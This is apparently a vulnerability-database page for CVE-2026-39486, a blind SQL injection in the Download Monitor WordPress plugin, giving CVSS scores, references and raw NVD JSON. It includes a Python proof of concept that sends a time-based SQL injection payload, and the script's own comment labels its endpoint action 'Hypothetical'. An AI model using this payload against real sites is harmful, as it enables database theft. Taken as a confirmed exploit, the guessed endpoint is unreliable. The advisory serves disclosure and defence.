CVE-2026-39486

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WP Chill Download Monitor download-monitor allows Blind SQL Injection.This issue affects Download Monitor: from n/a through <= 5.1.8.

CVSS Details

CVSS Score

8.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Download Monitor <= 5.1.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import time

def verify_sqli(url):
    """
    Proof of Concept for Blind SQL Injection in Download Monitor
    """
    # Simulate a vulnerable endpoint
    target = f"{url}/wp-admin/admin-ajax.php"
    
    # Payload based on time-based blind injection
    # Checks if the first character of the current database user is 'r'
    payload = {
        "action": "dm_download_stats", # Hypothetical action based on plugin context
        "file_id": "1 AND (SELECT SLEEP(5) WHERE SUBSTRING(USER(), 1, 1)='r')"
    }

    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/x-www-form-urlencoded"
    }

    try:
        start = time.time()
        response = requests.post(target, data=payload, headers=headers, timeout=10)
        end = time.time()
        
        duration = end - start
        if duration >= 5:
            return f"[+] Vulnerability Confirmed! Response time: {duration:.2f}s"
        else:
            return f"[-] Not Vulnerable or Condition False. Response time: {duration:.2f}s"
    except Exception as e:
        return f"[!] Error: {e}"

if __name__ == "__main__":
    target_site = "http://example.com"
    print(verify_sqli(target_site))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39486
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39486
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39486/
[4] VulDB https://vuldb.com/cve/CVE-2026-39486
[5] https://patchstack.com/database/Wordpress/Plugin/download-monitor/vulnerability/wordpress-download-monitor-plugin-5-1-8-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39486", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:23.393", "lastModified": "2026-04-29T10:17:24.887", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WP Chill Download Monitor download-monitor allows Blind SQL Injection.This issue affects Download Monitor: from n/a through <= 5.1.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/download-monitor/vulnerability/wordpress-download-monitor-plugin-5-1-8-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}